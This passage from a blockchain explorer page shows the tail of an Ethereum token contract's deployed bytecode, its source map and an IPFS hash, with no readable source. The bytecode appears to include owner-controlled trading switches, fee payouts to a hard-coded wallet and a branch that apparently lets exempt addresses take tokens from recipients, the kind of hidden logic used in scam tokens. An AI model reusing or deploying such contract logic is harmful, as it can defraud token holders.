6861639060200160405180910390a1565b5f546001600160a01b031633146104f0575f80fd5b612710600a8190556009819055600855565b5f546001600160a01b03163314610517575f80fd5b600b805460ff19166001179055565b5f600454600a5461053660035490565b6105409190611360565b61054a9190611377565b905090565b60176020527f43fedf50e12e5c047fbe3576d03ab50250348e9a6030f531ab6d4ce10f5b0303545f8080527fd840e16649f6b9a295d95876f4633d3a6b10b55e8162971cf78afd886d5ec89b54600354919261054a9290916105b191906109ee565b906109ee565b5f6104283384846106d0565b5f60045460085461053660035490565b5f60045460095461053660035490565b5f546001600160a01b031633146105f8575f80fd5b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b03821661065d575f80fd5b6001600160a01b03831661066f575f80fd5b6001600160a01b038381165f8181526018602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f81116106db575f80fd5b6001600160a01b0382166106ed575f80fd5b6001600160a01b0383166106ff575f80fd5b61070983836109f9565b801561071a575061071a8383610a55565b801561072c575061072c838383610aa8565b801561073e575061073e838383610b6d565b156109e95780610762846001600160a01b03165f9081526017602052604090205490565b106108d5576001600160a01b0383165f9081526016602052604090205460ff1615801561079c57506001546001600160a01b038381169116145b80156107c057506001600160a01b0382165f9081526016602052604090205460ff16155b80156107d45750600b54610100900460ff16155b156107f35760105460ff16156107e957505050565b6107f38383610c38565b6001600160a01b0383165f9081526017602052604090205461081590826109ee565b6001600160a01b0384165f9081526017602052604081209190915561083a8484610c77565b610844578161084f565b61084f848484610cbb565b6001600160a01b0384165f908152601760205260409020549091506108749082610dab565b6001600160a01b038085165f8181526017602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108c79085815260200190565b60405180910390a350505050565b6001600160a01b0383165f9081526016602052604090205460ff16801561090a57506001546001600160a01b03848116911614155b801561092e57506001600160a01b0382165f9081526016602052604090205460ff16155b80156109425750600b54610100900460ff16155b156109e9576001600160a01b0382165f9081526017602052604090205461096990826109ee565b6001600160a01b038084165f9081526017602052604080822093909355908516815220546109979082610dab565b6001600160a01b038481165f8181526017602090815260409182902094909455518481529185169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016106c3565b505050565b5f61047b8284611396565b6001545f906001600160a01b038381169116148015610a3057506001600160a01b0383165f9081526016602052604090205460ff16155b15610428576001600c5f828254610a4791906113a9565b909155505050600192915050565b6001600160a01b0382165f9081526016602052604081205460ff16158015610a9557506001600160a01b0382165f9081526016602052604090205460ff16155b1561042857600b5460ff16610428575f80fd5b6001545f906001600160a01b03858116911614610b1657610ac76105c3565b82111580610aec57506001600160a01b0384165f9081526016602052604090205460ff165b80610b0e57506001600160a01b0383165f9081526016602052604090205460ff165b610b16575f80fd5b610b1e610526565b82111580610b4357506001600160a01b0384165f9081526016602052604090205460ff165b80610b6557506001600160a01b0383165f9081526016602052604090205460ff165b610477575f80fd5b6001600160a01b038084165f90815260166020526040808220549285168252812054909160ff908116911681158015610ba4575080155b8015610bbe57506001546001600160a01b03868116911614155b8015610bd557506001600160a01b03851661dead14155b15610c0e57610be26105d3565b6001600160a01b0386165f90815260176020526040902054610c049086610dab565b1115610c0e575f80fd5b8015610c2c57600554841115610c2c576010805460ff191660011790555b50600195945050505050565b610c428282610db6565b15610c7357305f908152601760205260409020546007548110610c6457506007545b610c6d81610e52565b505f600c555b5050565b6001600160a01b0382165f9081526016602052604081205460ff1615801561047b5750506001600160a01b03165f9081526016602052604090205460ff1615919050565b5f80610cc78585610fd7565b1115610da4575f610cef610cdb8686610fd7565b600454610ce9908690611021565b9061102c565b305f90815260176020526040902054909150610d0b9082610dab565b305f81815260176020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d5b9085815260200190565b60405180910390a360115415610d9257610d923061dead610d8d601154610ce96004548961102190919063ffffffff16565b6106d0565b610d9c83826109ee565b91505061047b565b5092915050565b5f61047b82846113a9565b6001600160a01b0382165f9081526016602052604081205460ff16158015610df657506001600160a01b0382165f9081526016602052604090205460ff16155b8015610e125750600654305f9081526017602052604090205410155b8015610e205750600d5460ff165b8015610e345750600b54610100900460ff16155b8015610e3e575060015b801561047b575050600b5460ff1692915050565b600b805461ff0019166101001790556015546014546013545f92610e8b92600292610ce99291610e859182906001610dab565b90610dab565b90505f610ead82610ea76013548661102c90919063ffffffff16565b90611021565b90505f610eba84836109ee565b905047610ec682611037565b5f610ed147836109ee565b90505f610ef3610eec601354886109ee90919063ffffffff16565b8390611021565b90505f610f0b6013548361102c90919063ffffffff16565b90508015610f1d57610f1d8682611197565b6014545f90610f3190610ce985600261102c565b90508015610f7957604051734f504ade9d4e32f4c982ba4ac565f716760a15e09082156108fc029083905f818181858888f19350505050158015610f77573d5f803e3d5ffd5b505b478015610fc057604051734f504ade9d4e32f4c982ba4ac565f716760a15e09082156108fc029083905f818181858888f19350505050158015610fbe573d5f803e3d5ffd5b505b5050600b805461ff00191690555050505050505050565b6001545f906001600160a01b0390811690831603610ff85750600e5461042c565b6001546001600160a01b03908116908416036110175750600f5461042c565b5060125492915050565b5f61047b8284611377565b5f61047b8284611360565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061106a5761106a6113bc565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110c1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110e591906113d0565b816001815181106110f8576110f86113bc565b6001600160a01b03909216602092830291909101909101528115610c735760025461112e9030906001600160a01b03168461064b565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac947906111669085905f908690309042906004016113eb565b5f604051808303815f87803b15801561117d575f80fd5b505af115801561118f573d5f803e3d5ffd5b505050505050565b6002546111af9030906001600160a01b03168461064b565b60025460405163f305d71960e01b8152306004820152602481018490525f60448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af115801561121a573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061123f919061145b565b5050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461128f575f80fd5b50565b5f80604083850312156112a3575f80fd5b82356112ae8161127b565b946020939093013593505050565b5f805f606084860312156112ce575f80fd5b83356112d98161127b565b925060208401356112e98161127b565b929592945050506040919091013590565b5f6020828403121561130a575f80fd5b813561047b8161127b565b5f8060408385031215611326575f80fd5b82356113318161127b565b915060208301356113418161127b565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761042c5761042c61134c565b5f8261139157634e487b7160e01b5f52601260045260245ffd5b500490565b8181038181111561042c5761042c61134c565b8082018082111561042c5761042c61134c565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156113e0575f80fd5b815161047b8161127b565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b8181101561143b5783516001600160a01b0316835260209384019390920191600101611414565b50506001600160a01b039590951660608401525050608001529392505050565b5f805f6060848603121561146d575f80fd5b505081516020830151604090930151909492935091905056fea264697066735822122067796d50b9b1028e48756fff43635ac2f7e53e59d2fb30f70f5e096cee7179f964736f6c634300081a0033

Deployed Bytecode Sourcemap

3079:12267:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4765:83;;;;;;;;;;-1:-1:-1;4835:5:0;;;;;;;;;;;;-1:-1:-1;;;4835:5:0;;;;4765:83;;;;;;;:::i;:::-;;;;;;;;8601:161;;;;;;;;;;-1:-1:-1;8601:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;8601:161:0;945:187:1;6367:100:0;;;;;;;;;;-1:-1:-1;6447:12:0;;6367:100;;;1283:25:1;;;1271:2;1256:18;6367:100:0;1137:177:1;3153:22:0;;;;;;;;;;-1:-1:-1;3153:22:0;;;;-1:-1:-1;;;;;3153:22:0;;;;;;-1:-1:-1;;;;;1483:32:1;;;1465:51;;1453:2;1438:18;3153:22:0;1319:203:1;10080:267:0;;;;;;;;;;-1:-1:-1;10080:267:0;;;;;:::i;:::-;;:::i;2116:103::-;;;;;;;;;;-1:-1:-1;2116:103:0;;;;;:::i;:::-;2171:4;2206:5;-1:-1:-1;;;;;2195:16:0;;;2206:5;;2195:16;;2116:103;5490:83;;;;;;;;;;-1:-1:-1;5490:83:0;;3350:2;2434:36:1;;2422:2;2407:18;5490:83:0;2292:184:1;4585:50:0;;;;;;;;;;-1:-1:-1;4585:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6740:119;;;;;;;;;;-1:-1:-1;6740:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6833:18:0;6806:7;6833:18;;;:9;:18;;;;;;;6740:119;1812:139;;;;;;;;;;;;;:::i;:::-;;6207:152;;;;;;;;;;;;;:::i;6107:92::-;;;;;;;;;;-1:-1:-1;6159:7:0;6186:5;-1:-1:-1;;;;;6186:5:0;6107:92;;6867:87;;;;;;;;;;;;;:::i;13100:121::-;;;;;;;;;;;;;:::i;5692:161::-;;;;;;;;;;;;;:::i;5861:87::-;;;;;;;;;;-1:-1:-1;5933:7:0;;;;;;;;;;;;-1:-1:-1;;;5933:7:0;;;;5861:87;;9195:167;;;;;;;;;;-1:-1:-1;9195:167:0;;;;;:::i;:::-;;:::i;14447:133::-;;;;;;;;;;;;;:::i;5956:143::-;;;;;;;;;;-1:-1:-1;5956:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6064:18:0;;;6037:7;6064:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5956:143;14310:129;;;;;;;;;;;;;:::i;2277:148::-;;;;;;;;;;-1:-1:-1;2277:148:0;;;;;:::i;:::-;;:::i;8601:161::-;8676:4;8693:37;8702:10;8714:7;8723:6;8693:8;:37::i;:::-;-1:-1:-1;8750:4:0;8601:161;;;;;:::o;10080:267::-;10178:4;10195:36;10205:6;10213:9;10224:6;10195:9;:36::i;:::-;-1:-1:-1;;;;;10271:19:0;;;;;;:11;:19;;;;;;;;10259:10;10271:31;;;;;;;;;10242:73;;10251:6;;10271:43;;10307:6;10271:35;:43::i;:::-;10242:8;:73::i;:::-;-1:-1:-1;10335:4:0;10080:267;;;;;;:::o;1812:139::-;2171:4;2206:5;-1:-1:-1;;;;;2206:5:0;2076:10;2195:16;2060:28;;;;;;1893:1:::1;1877:18:::0;;-1:-1:-1;;;;;;1877:18:0::1;::::0;;1911:32:::1;::::0;1465:51:1;;;1911:32:0::1;::::0;1453:2:1;1438:18;1911:32:0::1;;;;;;;1812:139::o:0;6207:152::-;2171:4;2206:5;-1:-1:-1;;;;;2206:5:0;2076:10;2195:16;2060:28;;;;;;6275:5:::1;6261:11;:19:::0;;;6291:16:::1;:24:::0;;;6326:17:::1;:25:::0;6207:152::o;6867:87::-;2171:4;2206:5;-1:-1:-1;;;;;2206:5:0;2076:10;2195:16;2060:28;;;;;;6922:17:::1;:24:::0;;-1:-1:-1;;6922:24:0::1;6942:4;6922:24;::::0;;6867:87::o;13100:121::-;13144:7;13201:12;;13187:11;;13171:13;6447:12;;;6367:100;13171:13;:27;;;;:::i;:::-;:42;;;;:::i;:::-;13164:49;;13100:121;:::o;5692:161::-;6833:9;:18;;;;5751:7;6833:18;;;;;5778:12;;5751:7;;5778:67;;6833:18;;5778:39;;:12;:16;:39::i;:::-;:43;;:67::i;9195:167::-;9273:4;9290:40;9300:10;9312:9;9323:6;9290:9;:40::i;14447:133::-;14497:7;14560:12;;14540:17;;14524:13;6447:12;;;6367:100;14310:129;14357:7;14419:12;;14400:16;;14384:13;6447:12;;;6367:100;2277:148;2171:4;2206:5;-1:-1:-1;;;;;2206:5:0;2076:10;2195:16;2060:28;;;;;;2357:5:::1;:15:::0;;-1:-1:-1;;;;;;2357:15:0::1;-1:-1:-1::0;;;;;2357:15:0;::::1;::::0;;::::1;::::0;;;2388:29:::1;::::0;1465:51:1;;;2388:29:0::1;::::0;1453:2:1;1438:18;2388:29:0::1;;;;;;;2277:148:::0;:::o;6475:257::-;-1:-1:-1;;;;;6568:21:0;;6560:30;;;;;;-1:-1:-1;;;;;6609:19:0;;6601:28;;;;;;-1:-1:-1;;;;;6640:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6692:32;;1283:25:1;;;6692:32:0;;1256:18:1;6692:32:0;;;;;;;;6475:257;;;:::o;6962:1631::-;7076:1;7059:6;:19;7051:28;;;;;;-1:-1:-1;;;;;7098:23:0;;7090:32;;;;;;-1:-1:-1;;;;;7141:20:0;;7133:29;;;;;;7193:33;7208:6;7216:9;7193:14;:33::i;:::-;:85;;;;;7243:35;7260:6;7268:9;7243:16;:35::i;:::-;7193:146;;;;;7295:44;7313:6;7321:9;7332:6;7295:17;:44::i;:::-;7193:212;;;;;7356:49;7379:6;7387:9;7398:6;7356:22;:49::i;:::-;7175:1411;;;7457:6;7436:17;7446:6;-1:-1:-1;;;;;6833:18:0;6806:7;6833:18;;;:9;:18;;;;;;;6740:119;7436:17;:27;7432:1143;;-1:-1:-1;;;;;7511:25:0;;;;;;:17;:25;;;;;;;;7510:26;:71;;;;-1:-1:-1;7574:7:0;;-1:-1:-1;;;;;7561:20:0;;;7574:7;;7561:20;7510:71;:125;;;;-1:-1:-1;;;;;;7607:28:0;;;;;;:17;:28;;;;;;;;7606:29;7510:125;:162;;;;-1:-1:-1;7661:11:0;;;;;;;7660:12;7510:162;7484:327;;;7719:14;;;;7715:27;;;6962:1631;;;:::o;7715:27::-;7764;7773:6;7781:9;7764:8;:27::i;:::-;-1:-1:-1;;;;;7849:17:0;;;;;;:9;:17;;;;;;:29;;7871:6;7849:21;:29::i;:::-;-1:-1:-1;;;;;7829:17:0;;;;;;:9;:17;;;;;:49;;;;7922:32;7839:6;7944:9;7922:13;:32::i;:::-;:81;;7997:6;7922:81;;;7957:37;7968:6;7976:9;7987:6;7957:10;:37::i;:::-;-1:-1:-1;;;;;8045:20:0;;;;;;:9;:20;;;;;;7897:106;;-1:-1:-1;8045:40:0;;7897:106;8045:24;:40::i;:::-;-1:-1:-1;;;;;8022:20:0;;;;;;;:9;:20;;;;;;;:63;;;;8109:43;;;;;;;;;;8137:14;1283:25:1;;1271:2;1256:18;;1137:177;8109:43:0;;;;;;;;7465:703;6962:1631;;;:::o;7432:1143::-;-1:-1:-1;;;;;8196:25:0;;;;;;:17;:25;;;;;;;;:63;;;;-1:-1:-1;8252:7:0;;-1:-1:-1;;;;;8242:17:0;;;8252:7;;8242:17;;8196:63;:113;;;;-1:-1:-1;;;;;;8281:28:0;;;;;;:17;:28;;;;;;;;8280:29;8196:113;:146;;;;-1:-1:-1;8331:11:0;;;;;;;8330:12;8196:146;8174:401;;;-1:-1:-1;;;;;8400:20:0;;;;;;:9;:20;;;;;;:32;;8425:6;8400:24;:32::i;:::-;-1:-1:-1;;;;;8377:20:0;;;;;;;:9;:20;;;;;;:55;;;;8471:17;;;;;;;:29;;8493:6;8471:21;:29::i;:::-;-1:-1:-1;;;;;8451:17:0;;;;;;;:9;:17;;;;;;;;;:49;;;;8524:35;1283:25:1;;;8524:35:0;;;;8451:17;;8524:35;;1256:18:1;8524:35:0;1137:177:1;8174:401:0;6962:1631;;;:::o;422:98::-;480:7;507:5;511:1;507;:5;:::i;11903:230::-;12014:7;;11980:4;;-1:-1:-1;;;;;12001:20:0;;;12014:7;;12001:20;:50;;;;-1:-1:-1;;;;;;12026:25:0;;;;;;:17;:25;;;;;;;;12025:26;12001:50;11997:107;;;12090:1;12068:10;;:24;;;;;;;:::i;:::-;;;;-1:-1:-1;;;12121:4:0;11903:230;;;;:::o;10355:248::-;-1:-1:-1;;;;;10461:25:0;;10439:4;10461:25;;;:17;:25;;;;;;;;10460:26;:59;;;;-1:-1:-1;;;;;;10491:28:0;;;;;;:17;:28;;;;;;;;10490:29;10460:59;10456:118;;;10544:17;;;;10536:26;;;;;8770:417;8907:7;;8876:4;;-1:-1:-1;;;;;8897:17:0;;;8907:7;;8897:17;8893:154;;8954:19;:17;:19::i;:::-;8939:11;:34;;:63;;;-1:-1:-1;;;;;;8977:25:0;;;;;;:17;:25;;;;;;;;8939:63;:95;;;-1:-1:-1;;;;;;9006:28:0;;;;;;:17;:28;;;;;;;;8939:95;8931:104;;;;;;9080:13;:11;:13::i;:::-;9065:11;:28;;:57;;;-1:-1:-1;;;;;;9097:25:0;;;;;;:17;:25;;;;;;;;9065:57;:89;;;-1:-1:-1;;;;;;9126:28:0;;;;;;:17;:28;;;;;;;;9065:89;9057:98;;;;;10611:744;-1:-1:-1;;;;;10760:25:0;;;10712:4;10760:25;;;:17;:25;;;;;;;10830:28;;;;;;;;10712:4;;10760:25;;;;;10830:28;10897:24;;:68;;;;;10939:26;10938:27;10897:68;:114;;;;-1:-1:-1;11003:7:0;;-1:-1:-1;;;;;10982:29:0;;;11003:7;;10982:29;;10897:114;:164;;;;-1:-1:-1;;;;;;11028:33:0;;3695:42;11028:33;;10897:164;10879:284;;;11134:16;:14;:16::i;:::-;-1:-1:-1;;;;;11097:20:0;;;;;;:9;:20;;;;;;:32;;11122:6;11097:24;:32::i;:::-;11096:54;;11088:63;;;;;;11179:26;11175:149;;;11235:20;;11226:6;:29;11222:91;;;11276:14;:21;;-1:-1:-1;;11276:21:0;11293:4;11276:21;;;11222:91;-1:-1:-1;11343:4:0;;10611:744;-1:-1:-1;;;;;10611:744:0:o;14588:419::-;14665:30;14677:6;14685:9;14665:11;:30::i;:::-;14661:339;;;14761:4;14712:28;6833:18;;;:9;:18;;;;;;14810:15;;14786:39;;14782:118;;-1:-1:-1;14869:15:0;;14782:118;14914:36;14929:20;14914:14;:36::i;:::-;-1:-1:-1;14986:1:0;14965:10;:23;14661:339;14588:419;;:::o;12560:172::-;-1:-1:-1;;;;;12666:25:0;;12641:4;12666:25;;;:17;:25;;;;;;;;12665:26;:59;;;;-1:-1:-1;;;;;;;12696:28:0;;;;;:17;:28;;;;;;;;12695:29;;12560:172;-1:-1:-1;12560:172:0:o;9370:702::-;9464:7;9523:1;9488:32;9502:6;9510:9;9488:13;:32::i;:::-;:36;9484:552;;;9541:25;9569:67;9603:32;9617:6;9625:9;9603:13;:32::i;:::-;9585:12;;9569:29;;:11;;:15;:29::i;:::-;:33;;:67::i;:::-;9696:4;9678:24;;;;:9;:24;;;;;;9541:95;;-1:-1:-1;9678:47:0;;9541:95;9678:28;:47::i;:::-;9669:4;9651:24;;;;:9;:24;;;;;;;:74;;;;9745:50;;-1:-1:-1;;;;;9745:50:0;;;;;;;9777:17;1283:25:1;;1271:2;1256:18;;1137:177;9745:50:0;;;;;;;;9814:11;;:24;9810:159;;9859:94;9877:4;3695:42;9906:46;9940:11;;9906:29;9922:12;;9906:11;:15;;:29;;;;:::i;:46::-;9859:9;:94::i;:::-;9990:34;:11;10006:17;9990:15;:34::i;:::-;9983:41;;;;;9484:552;-1:-1:-1;10053:11:0;9370:702;-1:-1:-1;;9370:702:0:o;528:98::-;586:7;613:5;617:1;613;:5;:::i;12141:411::-;-1:-1:-1;;;;;12260:25:0;;12220:4;12260:25;;;:17;:25;;;;;;;;12259:26;:72;;;;-1:-1:-1;;;;;;12303:28:0;;;;;;:17;:28;;;;;;;;12302:29;12259:72;:135;;;;-1:-1:-1;12376:18:0;;12366:4;6806:7;6833:18;;;:9;:18;;;;;;12348:46;;12259:135;:170;;;;-1:-1:-1;12411:18:0;;;;12259:170;:199;;;;-1:-1:-1;12447:11:0;;;;;;;12446:12;12259:199;:240;;;;-1:-1:-1;12475:24:0;12259:240;:274;;;;-1:-1:-1;;12516:17:0;;;;;12141:411;-1:-1:-1;;12141:411:0:o;13229:1073::-;5616:11;:18;;-1:-1:-1;;5616:18:0;;;;;13376:10:::1;::::0;13354:16:::1;::::0;13326::::1;::::0;5616:18;;13325:70:::1;::::0;13393:1:::1;::::0;13326:61:::1;::::0;13376:10;13326:45:::1;::::0;;;5630:4;13326:20:::1;:23::i;:::-;:27:::0;::::1;:45::i;13325:70::-;13303:92;;13406:26;13435:45;13468:11;13435:28;13446:16;;13435:6;:10;;:28;;;;:::i;:::-;:32:::0;::::1;:45::i;:::-;13406:74:::0;-1:-1:-1;13491:20:0::1;13514:30;:6:::0;13406:74;13514:10:::1;:30::i;:::-;13491:53:::0;-1:-1:-1;13576:21:0::1;13608:30;13491:53:::0;13608:16:::1;:30::i;:::-;13649:16;13668:37;:21;13694:10:::0;13668:25:::1;:37::i;:::-;13649:56;;13716:15;13734:47;13747:33;13763:16;;13747:11;:15;;:33;;;;:::i;:::-;13734:8:::0;;:12:::1;:47::i;:::-;13716:65;;13792:23;13818:29;13830:16;;13818:7;:11;;:29;;;;:::i;:::-;13792:55:::0;-1:-1:-1;13862:28:0;;13858:110:::1;;13907:49;13920:18;13940:15;13907:12;:49::i;:::-;14020:16;::::0;13978:20:::1;::::0;14001:36:::1;::::0;:14:::1;:7:::0;14013:1:::1;14001:11;:14::i;:36::-;13978:59:::0;-1:-1:-1;14052:16:0;;14048:97:::1;;14085:48;::::0;3518:42:::1;::::0;14085:48;::::1;;;::::0;14120:12;;14085:48:::1;::::0;;;14120:12;3518:42;14085:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;14048:97;14173:21;14209:20:::0;;14205:90:::1;;14246:37;::::0;3606:42:::1;::::0;14246:37;::::1;;;::::0;14275:7;;14246:37:::1;::::0;;;14275:7;3606:42;14246:37;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;14205:90;-1:-1:-1::0;;5657:11:0;:19;;-1:-1:-1;;5657:19:0;;;-1:-1:-1;;;;;;;;13229:1073:0:o;15052:291::-;15170:7;;15133;;-1:-1:-1;;;;;15170:7:0;;;15157:20;;;;15153:71;;-1:-1:-1;15201:11:0;;15194:18;;15153:71;15248:7;;-1:-1:-1;;;;;15248:7:0;;;15238:17;;;;15234:69;;-1:-1:-1;15279:12:0;;15272:19;;15234:69;-1:-1:-1;15320:15:0;;15052:291;;;;:::o;210:98::-;268:7;295:5;299:1;295;:5;:::i;316:98::-;374:7;401:5;405:1;401;:5;:::i;11367:528::-;11457:16;;;11471:1;11457:16;;;;;;;;11433:21;;11457:16;;;;;;;;;;-1:-1:-1;11457:16:0;11433:40;;11502:4;11484;11489:1;11484:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11484:23:0;;;:7;;;;;;;;;;:23;;;;11528:9;;:16;;;-1:-1:-1;;;11528:16:0;;;;:9;;;;;:14;;:16;;;;;11484:7;;11528:16;;;;;:9;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11518:4;11523:1;11518:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11518:26:0;;;:7;;;;;;;;;;;:26;11559:15;;11555:333;;11623:9;;11591:56;;11608:4;;-1:-1:-1;;;;;11623:9:0;11635:11;11591:8;:56::i;:::-;11662:9;;:214;;-1:-1:-1;;;11662:214:0;;-1:-1:-1;;;;;11662:9:0;;;;:60;;:214;;11741:11;;11662:9;;11791:4;;11822;;11846:15;;11662:214;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11422:473;11367:528;:::o;12740:352::-;12853:9;;12821:56;;12838:4;;-1:-1:-1;;;;;12853:9:0;12865:11;12821:8;:56::i;:::-;12888:9;;:196;;-1:-1:-1;;;12888:196:0;;12954:4;12888:196;;;5927:51:1;5994:18;;;5987:34;;;12888:9:0;6037:18:1;;;6030:34;;;6080:18;;;6073:34;3695:42:0;6123:19:1;;;6116:61;13058:15:0;6193:19:1;;;6186:35;-1:-1:-1;;;;;12888:9:0;;;;:25;;12921:9;;5899:19:1;;12888:196:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;12740:352;;:::o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;492:70;437:131;:::o;573:367::-;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1527:508::-;1604:6;1612;1620;1673:2;1661:9;1652:7;1648:23;1644:32;1641:52;;;1689:1;1686;1679:12;1641:52;1728:9;1715:23;1747:31;1772:5;1747:31;:::i;:::-;1797:5;-1:-1:-1;1854:2:1;1839:18;;1826:32;1867:33;1826:32;1867:33;:::i;:::-;1527:508;;1919:7;;-1:-1:-1;;;1999:2:1;1984:18;;;;1971:32;;1527:508::o;2040:247::-;2099:6;2152:2;2140:9;2131:7;2127:23;2123:32;2120:52;;;2168:1;2165;2158:12;2120:52;2207:9;2194:23;2226:31;2251:5;2226:31;:::i;2481:388::-;2549:6;2557;2610:2;2598:9;2589:7;2585:23;2581:32;2578:52;;;2626:1;2623;2616:12;2578:52;2665:9;2652:23;2684:31;2709:5;2684:31;:::i;:::-;2734:5;-1:-1:-1;2791:2:1;2776:18;;2763:32;2804:33;2763:32;2804:33;:::i;:::-;2856:7;2846:17;;;2481:388;;;;;:::o;3134:127::-;3195:10;3190:3;3186:20;3183:1;3176:31;3226:4;3223:1;3216:15;3250:4;3247:1;3240:15;3266:168;3339:9;;;3370;;3387:15;;;3381:22;;3367:37;3357:71;;3408:18;;:::i;3439:217::-;3479:1;3505;3495:132;;3549:10;3544:3;3540:20;3537:1;3530:31;3584:4;3581:1;3574:15;3612:4;3609:1;3602:15;3495:132;-1:-1:-1;3641:9:1;;3439:217::o;3877:128::-;3944:9;;;3965:11;;;3962:37;;;3979:18;;:::i;4010:125::-;4075:9;;;4096:10;;;4093:36;;;4109:18;;:::i;4272:127::-;4333:10;4328:3;4324:20;4321:1;4314:31;4364:4;4361:1;4354:15;4388:4;4385:1;4378:15;4404:251;4474:6;4527:2;4515:9;4506:7;4502:23;4498:32;4495:52;;;4543:1;4540;4533:12;4495:52;4575:9;4569:16;4594:31;4619:5;4594:31;:::i;4660:959::-;4922:4;4970:3;4959:9;4955:19;5001:6;4990:9;4983:25;5044:6;5039:2;5028:9;5024:18;5017:34;5087:3;5082:2;5071:9;5067:18;5060:31;5111:6;5146;5140:13;5177:6;5169;5162:22;5215:3;5204:9;5200:19;5193:26;;5254:2;5246:6;5242:15;5228:29;;5275:1;5285:195;5299:6;5296:1;5293:13;5285:195;;;5364:13;;-1:-1:-1;;;;;5360:39:1;5348:52;;5429:2;5455:15;;;;5420:12;;;;5396:1;5314:9;5285:195;;;-1:-1:-1;;;;;;;5536:32:1;;;;5531:2;5516:18;;5509:60;-1:-1:-1;;5600:3:1;5585:19;5578:35;5497:3;4660:959;-1:-1:-1;;;4660:959:1:o;6232:456::-;6320:6;6328;6336;6389:2;6377:9;6368:7;6364:23;6360:32;6357:52;;;6405:1;6402;6395:12;6357:52;-1:-1:-1;;6450:16:1;;6556:2;6541:18;;6535:25;6652:2;6637:18;;;6631:25;6450:16;;6535:25;;-1:-1:-1;6631:25:1;6232:456;-1:-1:-1;6232:456:1:o

Swarm Source

ipfs://67796d50b9b1028e48756fff43635ac2f7e53e59d2fb30f70f5e096cee7179f9
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.